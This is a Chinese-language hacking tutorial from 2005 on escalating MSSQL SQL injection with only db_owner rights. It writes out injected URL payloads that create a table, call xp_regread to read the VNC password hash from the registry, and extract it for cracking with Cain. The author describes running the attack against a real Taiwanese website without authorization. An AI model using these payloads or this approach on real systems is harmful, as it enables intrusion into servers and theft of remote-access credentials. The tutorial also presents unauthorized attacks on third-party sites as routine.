MSSQL db_owner角色注入直接獲得系統權限
作者:tank 日期:2005-01-23
MSSQL db_owner角色注入直接獲得系統權限
by:LCX www.icehack.com
相信大家對ASP+MSSQL注入都已經很熟悉了,連一個對SQL語法絲毫不懂的人也可以用NBSI來輕松入侵大量網站。但就算是一個SQL INJECTION高手,如果針對在MSSQL中只有db_owner角色,破不出猜不到網站後臺的情況下,好像也無技可施;除了用備份得到shell的這個思路,我在網上實在沒有找出更好的入侵辦法。不過,備份得到的shell只是理論化的東東,如果一個webshell有20mb的話,你還能用它嗎?前不久,我就碰到了這樣的一個臺灣網站,管理員的密碼倒是用NBSi跑了出來,可是用戶名因為是繁體的原因在NBSi中成了一堆亂碼。我也找到了后臺,可只有干瞪眼的份。怎么辦?我又掃了它的所有端口,發現開了5900,估計是管理員用了VNC對服務器進行了遠程控制。這時,我就有一個思路,能不能把VNC在注冊表的加密密碼讀出來再來破解呢?看我表演吧!
TELNET服務器的5900端口,得到訊息如圖1所示,證實服務器的確用的是VNC。
圖1
相信大家都會用讀xp_regread來讀注冊表了,依次提交如下語句:
http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
這樣我們就成功地建了一個名為cyfd的表,并且添加了類型是char,長度為255的字段名gyfd。
然后向表中加數據:
http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_CURRENT_USER,Software\ORL\WinVNC3', Password, @result output insert into cyfd (gyfd) values(@result);--
從注冊表中讀出VNC在注冊表的加密密碼的值,再把值插入到剛建的表中。然后暴出VNC在注冊表的加密密碼:
http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1)。
可是結果大失我所望,gyfd的值是空的。如果這樣容易的話,不會有這篇文章出現了。這是什么原因呢?我的語法不正確?翻來覆去的檢查我的語句也沒有發現錯誤呀。難道繁體的vnc在注冊表里的位置不一樣?后來我又開始在本機裝了vnc又在分析查循器里做測試,得到的結果卻是個數字5。這時czy上線了,詢問了一下,他勸我把gyfd的這個字段改成二進制數據類型 binary來試一下。于是我又在本機測試了一下,依次提交如下語句:
http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE @result binary(20) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后我再用nbsi跑出cyfd表里gyfd這個字段的值。結果到是出來了,得到了vnc的加密密碼值是0x0E3515AC00000000000000000000000000000000。可這兒還不對,我在本機裝的vnc在注冊表里的密碼值是hex:0e,35,15,ac,00,62,d3,08這個呀。原來binary(n)的數據存儲長度是固定的,當輸入的二進制長度小于n時,余下長度填0補充。我在注入語句中寫入的binary(20)是足夠寫入vnc加密密碼的長度時,為什么還有那么多0來填充呢?這是因為正好我的vnc密碼是0e3515ac0062d308,在碰到了00的情況下,xp_regread以為已經讀完了它的值呢,把00當成了結束符,所以只讀到了0x0E3515AC,我暈!
翻了一下書,終于讓我找到了一個特殊的數據類型uniqueidentifier,是用來存儲一個16字節長的二進制數據類型。把注入語句改造一下:
http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);
http://127.0.0.1/script.asp?id=2;DECLARE @result uniqueidentifier EXEC master.dbo.xp_regread 'HKEY_CURRENT_USER,Software\ORL\WinVNC3', Password, @result output insert into cyfd (gyfd) values(@result);--
然后再用nbsi跑一下,跑出來了,不過得到的結果是AC15350E-6200-08D3-0000-000000000000。
AC15350E-6200-08D3-0000-000000000000和我在注冊表里的正確的vnc密碼的值0e3515ac0062d308相比,能看出來有什么不同嗎?只不過順序是顛倒的,相信大家都會小學的算術,這個不用我教了。試一下用cain破出vnc的密碼,看看行不行(圖2)。
圖2
看樣子在本機做的測試一切成功。這方法用到臺灣上的站點試試,哎,依然沒有跑出vnc的密碼,也許繁體vnc在注冊表的位置不同吧。不過,我研究了一上午,有了一點收獲,就放過你吧。